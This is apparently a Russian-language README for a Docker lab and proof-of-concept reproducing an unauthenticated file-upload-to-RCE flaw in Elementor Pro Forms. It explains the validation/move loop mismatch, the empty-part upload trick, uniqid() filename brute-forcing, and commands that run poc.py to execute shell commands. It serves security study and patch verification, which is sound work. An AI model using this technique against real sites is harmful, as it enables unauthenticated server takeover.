
A/B Docker lab + PoC для CVE-2026-32475 (Elementor Pro Forms — неаутентифицированная произвольная загрузка файлов -> RCE через рассинхронизацию цикла validation/move)
A/B Docker-лаборатория, воспроизводящая CVE-2026-32475 (CVSS 9.x, Patchstack; поле File Upload в формах Elementor Pro, затронуты версии ≤ 4.2.1, исправлено в 4.2.2 от 2026-08-19; сообщил Tin Pham / TF1T). Неаутентифицированная, без взаимодействия с пользователем.
Только для авторизованного тестирования / обучения. Эта лаборатория полностью работает на
127.0.0.1в одноразовых Docker-контейнерах. Не направляйте PoC на системы, для тестирования которых у вас нет явного разрешения.build.shзагружает исходный код Elementor Pro из публичного GPL-зеркала; в этом репозитории не распространяется никакой платный код.
modules/forms/fields/upload.php. Два цикла итерируют один и тот же преобразованный
$_FILES['form_fields'][$id], но обрабатывают пустую часть (UPLOAD_ERR_NO_FILE) по-разному:
// validation() — строка ~269
foreach ( $_FILES['form_fields'][ $id ] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- прекращает ВСЮ оставшуюся проверку этого поля
}
...
if ( ! $this->is_file_type_valid( $field, $file ) ) { // список разрешённых/запрещённых расширений
$ajax_handler->add_error( $id, 'This file type is not allowed.' );
}
}
// process_field() — строка ~418
foreach ( $_FILES['form_fields'][ $id ] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- пропускает ТОЛЬКО пустую часть, продолжает работу
}
$filename = uniqid() . '.' . pathinfo( $file['name'], PATHINFO_EXTENSION ); // расширение атакующего, без повторной проверки
move_uploaded_file( $file['tmp_name'], trailingslashit( $uploads_dir ) . $filename );
}
Отправьте одно необязательное поле загрузки с двумя частями — сначала пустую, затем PHP-
полезную нагрузку. validation() натыкается на пустую часть и выполняет return до того, как проверит .php;
process_field() выполняет continue мимо пустой части и перемещает .php в
wp-content/uploads/elementor/forms/<uniqid()>.php. Блок-лист get_blacklist_file_ext()
(php,phtml,pht,shtml,…) выполняется только внутри validation(), поэтому он полностью обходится.
Полностью без аутентификации: wp_ajax_nopriv_elementor_pro_forms_send_form (ajax-handler.php:295).
get_ensure_upload_dir() помещает .htaccess в каталог форм, содержащий только
Options -Indexes + Header set Content-Disposition attachment. Это намёк на скачивание браузером —
на Apache + mod_php файл .php всё равно выполняется на стороне сервера; атакующий (curl) просто
получает вывод команды с заголовком скачивания. Модуль форм не содержит очистки через unlink,
поэтому оболочка сохраняется.
Опубликованная страница с виджетом Form от Elementor Pro, имеющим поле File Upload, у которого
Required = No (ветка ! $field['required']). Конфигурация поля читается на стороне сервера из
_elementor_data, поэтому атакующий не может её переключить — но поля «необязательное вложение» распространены.
Сохранённое имя = uniqid() = %08x%05x = (секунда unix)(микросекунда). Секунда раскрывается
точно через HTTP-заголовок ответа Date; неизвестна только микросекунда (0–999999) →
ограниченный ≤10⁶ онлайн-GET-перебор. poc.py --recover привязывает микросекунду ко времени
прихода ответа (совместное размещение / синхронизация NTP ⇒ секунды–минуты; здесь: ~26k запросов) и превращает
запись в удалённое выполнение кода.
| Сервис | Порт | Elementor Pro |
|---|---|---|
wp-vuln | http://127.0.0.1:8975 | 3.6.4 — уязвимая (подлинное дерево; рассинхронизация validation() идентична версиям ≤4.2.1) |
wp-patched | http://127.0.0.1:8976 | 3.6.4 с исправлением, эквивалентным 4.2.2 (return → continue, выравнивание циклов) |
Стек: wordpress:php7.4-apache (mod_php) + MariaDB 10.6 + Elementor (free) 3.6.8 + Elementor Pro 3.6.4.
Каждый вариант имеет администратора (admin/labpass) и опубликованную страницу «CVE-2026-32475 Lab»
(post_id=5, form_id=frm00001, поле загрузки field_cv, Required=No).
Примечание о версии. Никакой чистый исходный код 4.2.1/4.2.2 не подлежит публичному распространению, поэтому лаборатория использует подлинное дерево 3.6.4, чья рассинхронизация
validation()/process_field()побайтово идентична коду, описываемому в CVE-2026-32475 (ошибка давняя; в 4.2.2 два цикла были выровнены). A/B сборка «patched» применяет именно это выравнивание.
Требуются Docker + Docker Compose и исходящий сетевой доступ (для загрузки образов, Elementor free и
зеркала исходников Elementor Pro). build.sh автоматически клонирует подлинное дерево Elementor Pro.
git clone https://github.com/dinosn/cve-2026-32475-elementor-pro-lab
cd cve-2026-32475-elementor-pro-lab
bash build.sh # клонирование плагина + compose up + установка WP/Elementor + создание страницы формы (оба варианта)
bash verify.sh # A/B-доказательство: уязвимая записывает+выполняет оболочку; исправленная отклоняет. Очистка.
# полностью удалённая неаутентифицированная RCE (автоизвлечение post_id/form_id/field_id со страницы):
python3 poc.py -t http://127.0.0.1:8975 --page-id 5 --recover -c "id; uname -a"
# просто доказать обход блок-листа (оставить оболочку для проверки):
python3 poc.py -t http://127.0.0.1:8975 --post-id 5 --form-id frm00001 --field-id field_cv
docker-compose.yml — 2× (WordPress + MariaDB), vuln:8975 / patched:8976elementor-pro-vuln/ — подлинный Elementor Pro 3.6.4 (уязвимый); генерируется build.sh, в git-игнореelementor-pro-patched/ — то же дерево, validation() return→continue; генерируется patch_pro.sh, в git-игнореevidence/verify_transcript.txt — запись успешного прогона verify.shinstall_wp.sh — установка через wp-cli WP + Elementor free + активация Pro + создание страницы формы + исправление прав на uploadssetup_page.php — создаёт страницу формы Elementor с необязательным полем загрузкиpatch_pro.sh — формирует исправленное дерево + выводит однострочный diffpoc.py — неаутентифицированная загрузка с рассинхронизацией + восстановление имени файла uniqid() + RCEverify.sh — A/B-доказательство с независимым оракулом файловой системы (доказывает выполнение, а не только запись)build.sh — одноразовая сборкаcd /root/cve-2026-32475-lab && docker compose down -v